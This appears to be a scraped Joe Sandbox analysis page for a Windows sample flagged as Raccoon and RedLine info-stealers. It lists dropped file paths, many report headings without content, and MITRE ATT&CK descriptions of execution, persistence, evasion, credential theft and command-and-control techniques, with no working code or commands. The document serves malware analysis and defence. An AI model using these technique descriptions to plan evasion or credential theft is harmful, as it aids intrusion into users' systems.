Instruction Fuzzy Hash: 0EF054B2204210AFF3049BABED45F66779CEB48720F044839F709E7291D5B56C2086A9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report em1B8DcC72.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Raccoon

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Company\NewProduct\EU1.exe

C:\Program Files (x86)\Company\NewProduct\F0geI.exe

C:\Program Files (x86)\Company\NewProduct\brokerius.exe

C:\Program Files (x86)\Company\NewProduct\captain09876.exe

C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe

C:\Program Files (x86)\Company\NewProduct\jshainx.exe

C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe

C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe

C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe

Windows Analysis Report
em1B8DcC72.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre